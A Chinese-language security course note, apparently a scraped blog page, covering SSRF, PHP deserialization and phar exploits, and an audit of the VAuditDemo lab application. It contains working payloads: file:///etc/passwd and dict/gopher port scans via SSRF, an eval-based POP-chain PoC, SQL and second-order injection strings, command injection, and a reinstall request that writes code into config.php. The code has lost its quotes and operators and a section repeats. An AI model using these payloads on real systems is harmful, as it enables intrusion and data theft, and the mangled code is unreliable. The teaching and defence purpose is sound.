最低价网站建设,海外版tiktok官网入口,wordpress怎么在导航栏添加搜索框,网络公司名字大全三字本周重点
①SSRF服务器端请求伪造
②序列化和反序列化
③Vaudit代码审计
本周主要内容
①SSRF服务器端请求伪造
一、概述
SSRF: server site request forgery (服务器端请求伪造)。
SSR: 服务端请求#xff0c;A服务器通过函数向B服务器发送请求。 SSRF发生的前提条件…本周重点
①SSRF服务器端请求伪造
②序列化和反序列化
③Vaudit代码审计
本周主要内容
①SSRF服务器端请求伪造
一、概述
SSRF: server site request forgery (服务器端请求伪造)。
SSR: 服务端请求A服务器通过函数向B服务器发送请求。 SSRF发生的前提条件
1、外网服务器接收到用户的参数没有做严格的过滤和检查
2、外网服务器在调用内网服务器的时候使用了用户传入的参数来调用内网服务器的接口。
二、代码样例
外网服务器代码
?php//注意这里的外网服务器并备有对传入参数做任何校验和过滤直接调用内网服务器获取文件$fileurl $_GET[file];echo file_get_contents($fileurl);
?内网服务器代码
?php//注意这里内网服务器的代码是根据其他服务器传的文件地址参数来获取文件echo file_get_contents($_GET[fname]);
?三、场景
1、在线分享
早期的网站可以通过url地址分享内容给其他用户此时网站会根据目标网站主页的title或者meta namedescription content标签中的content属性的内容来生成分享链接的这样可以有更好的用户体验例如早起的人人网的分享链接http://wiget.renren.com/***/?resourceUrlhttp://www.duoduo.com/index.html,这个resourceUrl的值就是目标网站的地址2.在线转码
有些网站提供代码转换服务以适应不同的设备展示的需求。例如百度腾讯等都提供这种服务。可以把自己公司的网页传给转码服务然后会自动对代码做适当修改以适应不同的展示设备的分辨率字体等等。提高用户体验。此时这种服务的请求类似于http://www.baidu.com/convert?resourcehttp://www.abc.com/index.html3.在线翻译
跟在线转码差不多4.图像水印
可以给图片加水印那么图片的地址就是动态传入的参数。5.图片或者文章收藏。
收藏保存的文章或图片的url地址获取的时候就是传入文章地址参数。
四、探测关键字
在浏览器的查看源代码的功能中查询包含下列关键字的网页
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
location
remote五、判断SSRF存在
1、有回显
使用请求伪造给外网服务器发请求看看是否有相应内容有可能回显内容会经过一些处理只显示部分内容。
2、无回显
在无任何回显的情况下可以使用下面的方式进一步判断
1DNSlog 在dnslog.cn上申请一个临时域名把域名传入给外网的接口
http://192.168.121.128/ssrf/getfiles?filehttp://xxx.bbb.ccc
然后去dnslog.cn上查看域名解析的结果如果能看到说明传入的参数file的值是被直接传给内网服务器作为参数的。
2租用公网服务器例如IP地址是1.112.10.101测试并查看日志
把下面文件ssrf.php放在有公网ip的服务器上
?php
echo test ssrf;
?访问被探测的服务器的请求url
http://192.168.121.128/ssrf/getfiles?filehttp://1.112.10.101/ssrf.php
这里就是借助被探测的服务器来访问黑客自己公网服务器上的文件ssrf.php可以查看黑客的服务器日志如果请求正常就进入到黑客的公网服务器那么说明被探测的服务器是直接把filehttp://1.112.10.101/ssrf.php作为请求参数传入的。
六、三个函数
我们要分三种情况来讨论因为对方的外网服务器可能会采取下面这三个函数中的任意一个来请求他的内网服务器不同的函数利用方式有细微差别
file_get_contents() 可以发送get|post请求
fsockopen() 只能发送get请求
curl_exec() 可以发送get|post请求1、file_get_contents()
GET请求
echo file_get_contents($_GET[file]);POST请求
$url $_GET[url];
$content $_GET[content];
$name $_GET[name];$data content$contentname$name;$options [http[methodPOST,headerContent-Type:application/x-www-form-urlencoded,content$data
]];$context stream_context_create($options);echo file_get_contents($url,false,$context);2、fsockopen()
GET请求
$f fsockopen(192.168.32.129,80);$paramGET /secure21/html/calc.html HTTP/1.1\r\n;
$param.Host:192.168.32.129\r\n;
$param.Connection:close\r\n\r\n;fwrite($f,$param);while(!feof($f)){echo fread($f,1024);
}
fclose($f);POST请求
$f fsockopen(192.168.150.128,80);$param POST /ssrf/1.php HTTP/1.1\r\n;
$param $param.Host: 192.168.150.128\r\n;
$param $param.User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0\r\n;
$param $param.Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8\r\n;
$param $param.Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3\r\n;
$param $param.Accept-Encoding: gzip, deflate\r\n;
$param $param.Connection: Close\r\n;
$param $param.Content-Type: application/x-www-form-urlencoded\r\n;
$param $param.Content-Length: 26\r\n\r\n;
$param $param.contenthellonamezhangan;fwrite($f,$param);
while(!feof($f)){echo fread($f,1024);
}fclose($f);
3、curl_exec()
get请求
$cu curl_init(); curl_setopt($cu,CURLOPT_URL,http://192.168.32.129/secure21/html/calc.html);
curl_setopt($cu,CURLOPT_HEADER,0);//不输出响应头
curl_exec($cu);
curl_close($cu);post请求
$cu curl_init(); $arr[CURLOPT_URL]http://192.168.32.129/secure21/php/demo6.php;
$arr[CURLOPT_HEADER]0;//不输出响应头
$arr[CURLOPT_RETURNTRANSFER]1;//设置接受返回值
$arr[CURLOPT_POST]1;//请求方式
$arr[CURLOPT_POSTFIELDS]contentssrfcurl_execnamepost;//请求参数curl_setopt_array($cu,$arr);echo curl_exec($cu);
curl_close($cu);
?七、SSRF危害
1、可以对服务器外网内网进行端口扫描
2、通过外网服务器获取内网服务器的一些资源
3、探测一些应用程序的指纹信息
http://192.168.150.128/ssrf/curlweb.php?fdict://192.168.150.129:3306/info
curlweb.php代码
?php$url$_GET[f];
$cu curl_init();
curl_setopt($cu,CURLOPT_URL,$url);
curl_setopt($cu,CURLOPT_HEADER,0);//响应头不输出
curl_exec($cu);
curl_close($cu);
?
如果mysql在3306端口运行那么会返回一些信息。 4、攻击内外网的web应用例如sql注入等
5、利用file,dict,gopher,http,https等协议读取本地文件访问敏感目标反弹shell等高危操作
gopher也可以用来探测mysql的指纹信息
八、利用
1、读取存在ssrf漏洞系统所在服务器的本地文件
1针对使用file_get_contents的情况payload
http://192.168.121.128/ssrf/getfiles?file/etc/passwd2针对使用curl_exec的情况payload:(file://是文件访问协议)
http://192.168.121.128/ssrf/curlgetfiles?filefile:///etc/passwd还可以使用其他的伪协议
http://192.168.121.128/ssrf/curlgetfiles?filephp://inputpost data:
{name:zhangsan,age:12}其他伪协议可以参考文件包含的部分2、远程资源获取
1、通过http扫ip
http://192.168.121.128/ssrf/getfiles?filehttp://192.168.12.127 #有返回说明有服务开启
http://192.168.121.128/ssrf/getfiles?filehttp://192.168.12.126 #没有返回说明没有服务开启
如此测试可以发现内网存在哪些开放80端口的应用2、通过dict扫端口
注意这个协议不能跟file_get_contents一起使用。可以跟curl_exec()一起用
http://192.168.121.128/ssrf/getcurlfiles?filedict://192.168.12.127:8000 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?filedict://192.168.12.126:8000 #没有返回说明没有服务开启3、gopher也可以扫端口(不能跟file_get_contents一起使用)
http://192.168.121.128/ssrf/getcurlfiles?filegopher://192.168.12.127:80 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?filegopher://192.168.12.126:80 #没有返回说明没有服务开启九、防御
1、白名单限制ip和域名
2、白名单限制端口
3、白名单限制协议
注意白名单限制一定要写完整的白名单例如定义一个数组把能访问的文件列表放进数组whiteList [http://192.168.12.128/files/tcp/alluser.txt,http://192.168.12.128/files/tcp/depts.txt]判断的时候请求的url路径也需要跟上面数组定义的完全吻合才可以放行。白名单中不能只放入ip地址后者域名那样很容易被绕过例如whiteList[192.168.12.128,192.168.12.129]这种白名单很容易被绕过http://192.168.12.128102.168.123.122/file/tcp/allusers.txt注意192.168.12.128102.168.123.122的意思是要访问102.168.123.122的主机使用192.168.12.128作为登录的用户名。4、用户需要认证。每次请求要验证用户的身份需要先获取令牌或者登录。
5、屏蔽底层错误信息避免用户根据错误信息来判断服务器的端口状态
6、限制重定向操作
当使用curl_exec()函数的时候可以设置参数CURLOPT_FOLLOWLOCATIONfalse来限制header(Location:list.php)这种通过响应头的重定向机制不能限制js端的重定向。
如果要向限制js端的重定向需要对响应的内容进行判断查找其中的location.href这类的字样
$res curl_exec()
if( stripos($res,location.href)false )echo $res;
else die();7、避免直接使用请求带来的参数可以根据请求的参数转成请求对应资源。这种相当于写死了能够请求的资源
$re $_GET[f]
if($re1){请求http://102.168.123.122/file/tcp/allusers.txt
}
if($re2){请求http://102.168.123.122/file/tcp/depts.txt
}8、限制url请求的长度
十、绕过
1、IP地址使用十进制
工具网站https://www.bejson.com/convert/ip2int/
http://1696940379
这种可以绕过使用了黑名单限制后台程序。
2、生成短链接可以绕过针对url地址长度的限制。
②序列化和反序列化
一、面向对象
1、类
类具有相同属性和行为的事物。
对象 类的实例化个体。
2、访问修饰符
属性0upublicprotectedprivate
方法publicprotectedprivateprivate只能在类中使用
protected修饰的可以在本类和子类中使用
private不能被继承。3、静态方法
1.通过static关键字定义的方法在该方法中不能使用$this
2.静态方法随类一起被加载所以静态方法可以被类名或者对象调用
3.静态方法中不能调用实例方法。4、类的结构
class 类名{访问修饰符 ; //属性访问修饰符 function 方法名(形参列表){ //方法方法体;}
}5、样例代码
?phpclass Animal{private $ace;protected $heightanimal height----;public $nameanimal name----;public $oiceanimal oice----;public function talk(){echo animal talksbr;$this-sing();}protected function swim(){echo animal swimsbr;}private function sing(){echo animal singsbr;}public function setAce($a){$this-ace $a;}public function getAce(){echo $this-ace.br;}public static function run(){echo static method:animal runbr;}}class Dog extends Animal{public $oicedog oicebr;public function talk(){echo dog talksbr;}public function play(){$this-swim();echo dog playbr;}public function getName(){echo $this-name;}public function getHeight(){echo $this-height;}public function getOice(){echo $this-oice;}
}
$animal new Animal;
$animal-talk().br;
$animal-setAce(11111);
echo $animal-getAce().br;
Animal::run();//调用静态方法
echo ....br;
$dog new Dog;
$dog-talk();
$dog-play();
$dog-getName();
$dog-getHeight();
$dog-getOice();?
6、魔术方法
方法描述__construct( )新对象被创建时候调用__destruct()对象被销毁时候调用__call()在对象中调用一个不可访问方法时__call()会被调用。__callStatic()在静态上下文中调用一个不可访问方法时__callStatic() 会被调用。__get()读取不可访问protected 或 private或不存在的属性的值时会被调用__set()在给不可访问protected 或 private或不存在的属性赋值时会被调用__isset()当对不可访问protected 或 private或不存在的属性调用 isset()或 empty() 时__isset() 会被调用。__unset()当对不可访问protected 或 private或不存在的属性调用 unset()时__unset() 会被调用。__sleep()执行序列化操作时候先执行这个方法__wakeup()执行反序列化操作时候先执行这个方法__toString()当一个类对象被当成字符串使用的时候会调用__invoke()当尝试以调用函数的方式调用一个对象时这个方法会调用__clone()当复制完成时如果定义了__clone() 方法则新创建的对象复制生成的对象中的 __clone() 方法会被调用可用于修改属性的值如果有必要的话。
二、序列化和反序列化
1、序列化字符串中只包含类名和属性。与方法无关。
1.serialize()函数生成
将php中类复制到另一个文件中删除所有方法只保留属性和与赋值相关的构造方法。
通过serialize(new 类名)得到序列化字符串
2.手工写
O:长度:类名:属性数量:{数据类型:长度:属性名字;i:值;xxx}
O:长度:类名:属性数量:{数据类型:长度:属性名字;s:长度:值;xxxx}2、反序列化 源码中定义的程序入口。通过unserialize()函数实现。
$obj unserialize($_GET[str]); //将序列化字符串还原成对象3、使用场景
当请求时候需要传递的参数是对象的时候。
发请求的代码
?php
class Animal{private $ace;protected $heightanimal height----;public $nameanimal name----;public $oiceanimal oice----;public function talk(){echo animal talksbr;$this-sing();}protected function swim(){echo animal swimsbr;}private function sing(){echo animal singsbr;}public function setAce($a){$this-ace $a;}public function getAce(){echo $this-ace.br;}public static function run(){echo static method:animal runbr;}}
$animal new Animal;
$animaljson base64_encode(serialize($animal));
$cu curl_init();
$arr [];
$arr[CURLOPT_URL]http://192.168.150.129/receiveobj.php;
$arr[CURLOPT_HEADER]0;
$arr[CURLOPT_RETURNTRANSFER]1;
$arr[CURLOPT_POST]1;
$arr[CURLOPT_POSTFIELDS]$animaljson;curl_setopt_array($cu,$arr);echo curl_exec($cu);curl_close($cu);
?被请求的代码
?phpclass Animal{private $ace;protected $height;public $name;public $oice;public function talk(){echo animal talksbr;}protected function swim(){echo animal swimsbr;}private function sing(){echo animal singsbr;}public function setAce($a){$this-ace $a;}public function getAce(){echo $this-ace.br;}}$o file_get_contents(php://input);
echo $o;
echo br;$dog1 unserialize(base64_decode($o));
echo $dog1-getAce();
?4、反序列化漏洞利用前提
1、对象必须以序列化后的字符串形式在页面之间传递说白了就是要让用户可以用可控的输入点。
2、在类定义中在以上的魔术方法中能够在反序列化时候被调用到的魔术方法中存在一些危险函数例如eval。三、调用链
POP即面向属性编程Property-Oriented Programing常用于上层语言构造特定调用链的方法是从现有运行环境中寻找一系列的代码或者指令调用然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞因为自动调用触发漏洞但如果关键代码没在魔术方法中而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
我们在寻找深层次调用链时使用终点向上查找的方法或是开始点查找的方法。来找到反序列化漏洞。 使用以下代码实现任意命令的调用。 ?phpclass Tiger{public $string;protected $var;public function __toString(){return $this-string;}public function boss($value){eval($value);}public function __invoke(){$this-boss($this-var);}
}
class Lion{public $tail;public function __construct(){$this-tail array();}public function __get($value){$function $this-tail;return $function();}
}
class Monkey{public $head;public $hand;public function __construct($hereZoo){$this-head $here;echo Welcome to .$this-head.br;}public function __wakeup(){if(preg_match(/gopher|http|file|ftp|https|dict|\.\./i, $this-head)) {echo hacker;$this-source index.php;}}
}
class Elephant{public $nose;public $nice;public function __construct($nicenice){$this-nice $nice;echo $nice;}public function __toString(){return $this-nice-nose;}
}
if(isset($_GET[zoo])){unserialize($_GET[zoo]);
}
else{$a new Monkey;echo Hello PHP!;
}?构造好的POC
?phpclass Tiger{public $string;protected $var phpinfo();;}class Lion{public $tail;public function __construct(){$this-tail new Tiger();}}class Monkey{public $head;public $hand;public function __construct($hereZoo){$this-head new Elephant();}}class Elephant{public $nose;public $nice;public function __construct($nicenice){$this-nice new Lion();}}$monkey new Monkey();echo urlencode(serialize($monkey));//注意用urlencode编码一下否则protected和private修饰的属性会有些字符无法显示
?四、phar反序列化漏洞
1、条件生成phar压缩文件。
1.php.ini文件中phar.readonlyOff
2.存放phar压缩文件的目录必须有写权限。2、phar文件结构
1.stub: ?php __HALT_COMPILER();? PHAR文件声明
2.metadata: 元数据声明数据的数据。用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。
3.content: 被压缩的文件
4.signature: 签名1、stub
stub的基本结构?php __HALT_COMPILER();?前面内容不限但必须以__HALT_COMPILER();?来结尾否则phar扩展将无法识别这个文件为phar文件。
2、meta-data
phar文件本质上是一种压缩文件其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data这里即为反序列化漏洞点。
3、content
被压缩文件的内容。
4、signature
签名放在文件末尾。3、构造访问phar的代码文件命名为phar.php
?php
class Vul{public $data;function __destruct(){eval($this-data);}
}
$filename phar://test.phar/test.txt;
file_exists($filename);
?
生成压缩文件test.phar的代码文件名为createphar.php
注意createphar.php当前目录需要有写权限
?php
class Vul{public $dataphpinfo();;
}unlink(test.phar);//删除已有的文件
$pharnew Phar(test.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER();?);
$v new Vul;
$phar-setMetaData($v);
$phar-addFromString(test.txt,test);
$phar-stopBuffering();?触发漏洞
访问http://192.168.150.128/phar.php ③Vaudit代码审计
一、安装
1、上传vaudit压缩文件到/opt/lampp/htdocs
2、解压缩
unzip VAuditDemo-master.zip3、修改目录名称
cd /opt/lampp/htdocs
cd VAuditDemo-master
mv VAuditDemo_Debug vaudit
cd ..
mv VAuditDemo-master vaudit
4、修改httpd.conf文件
vi /opt/lampp/etc/httpd.conf
添加一个端口
Listen 81保存并退出。
5、编辑httpd-vhost.conf
vi /opt/lampp/etc/extra/httpd-vhosts.conf
把文件中的原来内容全部删除并把下面的内容输入到文件中
VirtualHost *:81serverName localhostDocumentRoot /opt/lampp/htdocs/vaudit/vaudit
/VirtualHost
6、重启lampp
/opt/lampp/xampp restart7、访问项目首页
http://192.168.217.128:81/index.php可以看到url跳转到系统安装的地址
http://192.168.217.128:81/install/install.php8、修改目录和文件权限
chmod ow /opt/lampp/htdocs/vaudit/vaudit/sys
chmod ow /opt/lampp/htdocs/vaudit/vaudit/uploads
chmod ow /opt/lampp/htdocs/vaudit/vaudit/sys/config.php再次访问页面,
http://192.168.217.128:81/install/install.php
看到下面的页面说明修改成功 在以上页面输入正确的数据库地址用户名密码点击安装按钮。数据库名称不用修改就使用vauditdemo。
如果数据库已经存在那么先删掉数据库再点击安装按钮。
看到下面的页面说明安装成功。 二、代码审计
1、安装漏洞
可以反复执行安装程序
http://192.168.217.128:81/install/install.php
使用burp拦截请求后可以看到安装页面上默认的数据库信息。
原因是
header( Location: ../index.php );页面跳转并不能停止php其余代码的执行和返回结果
需要在header后面增加die(),终止php程序运行。
2、XSS漏洞
在主页的留言搜索框xss注入漏洞。
3、注册页面
没有验证码可以通过循环遍历注册无数的用户。
4、普通用户登录
没有验证码可以暴力破解
登录logCheck.php
admin--logCheck--》
$_SESSION[username] $row[user_name];
$_SESSION[avatar] $row[user_avatar];
登录成功后返回到 user.php此时下面的查询会出现sql注入风险
研究一下session中的username是否会有sql注入的可能admin limit 2,1#
$query SELECT * FROM users WHERE user_name {$_SESSION[username]};
$_SESSION[user_id] $result[user_id];
5、二次注入
先注册一个用户名中反斜杠结尾的用户例如zhangsan\
重新登录
发帖子来到messageSub.php $clean_message clean_input($_POST[message]);//直接使用发帖内容做sql注入不行//这个sql语句从session获取的用户名带一个反斜杠会注释掉{$_SESSION[username]}后面的单引号。此时可以构造一个留言的payload$query INSERT INTO comment(user_name,comment_text,pub_date) VALUES ({$_SESSION[username]},$clean_message,now());
留言payload是
,(SELECT DATABASE ( ) ), now( ) )#6、任意文件读取
avatar.php中的
echo file_get_contents($_SESSION[avatar]);$_SESSION[‘avatar’]在登录的时候从users表中获取的avater的值放入session
users表中获取的avater的值是从上传头像时候保存进数据库。
updateAvatar.php:
$query UPDATE users SET user_avatar $avatar WHERE user_id {$_SESSION[user_id]};构造上传文件的文件名的payload,需要用burp拦截修改的。
,user_avatar0x2f6574632f706173737764 where user_namewangwu#.jpg7、越权
在更新用户名的页面提交请求后updateName.php根据浏览器传入的userid来修改数据库记录 $clean_user_id clean_input($_POST[id]);$query UPDATE users SET user_name $clean_username WHERE user_id $clean_user_id;我们可以用burp拦截把id修改成其他人的。 8、首页上有文件包含漏洞
首页包含的文件有后缀.inc所以使用phar伪协议方式
制作一个一句话木马文件a.inc,放入到压缩文件b.zip把b.zip改名为b.jpg,
上传之后在首页文件包含的地方访问用phar协议
9、管理员登录的url地址不应该暴露给c端用户
http://192.168.218.128:81/admin/login.php10、管理员登录页面
验证码可以重复使用
11、登录验证过程
logCheck.php
$query UPDATE users SET login_ip $ip WHERE user_id $row[user_id];这里的ip是从请求头来的
我们可以修改请求头x-forwarded-for,
注入一个xss存储型
scriptalert(1)/script12、任意linux命令执行
管理员ping的功能可以使用管道符来执行任意linux命令
13、sql注入
messageDetail.php页面 $id sqlwaf( $_GET[id] );$query SELECT * FROM comment WHERE comment_id $id;sqlwaf有逻辑漏洞。可以使用payload注入
?id9 uni||on se||lect 1,2,3,database() limi||t 1,114、SQL注入越权
登录成功后跳转看到user.php中,
$query SELECT * FROM users WHERE user_name {$_SESSION[username]};
$_SESSION[user_id] $result[user_id];怀疑有sql注入风险如果用户名中有单引号就可以造成注入。根据用户名查询到的user_id放入到session那么以后更新操作都根据user_id就可能导致越权。
下面就是研究如何能让session的username有单引号出现。
查看regCheck.php这里clean_input只是对单引号双引号反斜线做了防御 $clean_name clean_input($_POST[user]);$clean_pass clean_input($_POST[passwd]);那么这个insert语句就可以注册用户名含有单引号的账号
$query INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ($clean_name,SHA($clean_pass),$avatar,$date);再去看logCheck.php
$query SELECT * FROM users WHERE user_name $clean_name AND user_pass SHA($clean_pass);从数据库中查询用户信息包含用户名和用户的id并且把从数据库查到的用户名放入session那么session中的用户名就会存在单引号。
$_SESSION[username] $row[user_name];我们可以考虑先注册一个带有单引号的用户名然后在去更改用户信息。就能够越权修改其他用户的信息了
注册的用户名长度不能超过16个字符长度所以可以使用
||1 limit 2,1#15、系统重新安装漏洞
POST /install/install.php HTTP/1.1
Host: 192.168.218.128:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSIDp1t2n3j5ejheqf2hbohuhuk337
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79dbhostlocalhostdbuserrootdbpass1234Submitsubdbnameaaaa;#;phpinfo();//可以写入一句话木马到config.php
这个insert语句就可以注册用户名含有单引号的账号
$query INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ($clean_name,SHA($clean_pass),$avatar,$date);再去看logCheck.php
$query SELECT * FROM users WHERE user_name $clean_name AND user_pass SHA($clean_pass);从数据库中查询用户信息包含用户名和用户的id并且把从数据库查到的用户名放入session那么session中的用户名就会存在单引号。
$_SESSION[username] $row[user_name];我们可以考虑先注册一个带有单引号的用户名然后在去更改用户信息。就能够越权修改其他用户的信息了
注册的用户名长度不能超过16个字符长度所以可以使用
||1 limit 2,1#15、系统重新安装漏洞
POST /install/install.php HTTP/1.1
Host: 192.168.218.128:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSIDp1t2n3j5ejheqf2hbohuhuk337
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79dbhostlocalhostdbuserrootdbpass1234Submitsubdbnameaaaa;#;phpinfo();//可以写入一句话木马到config.php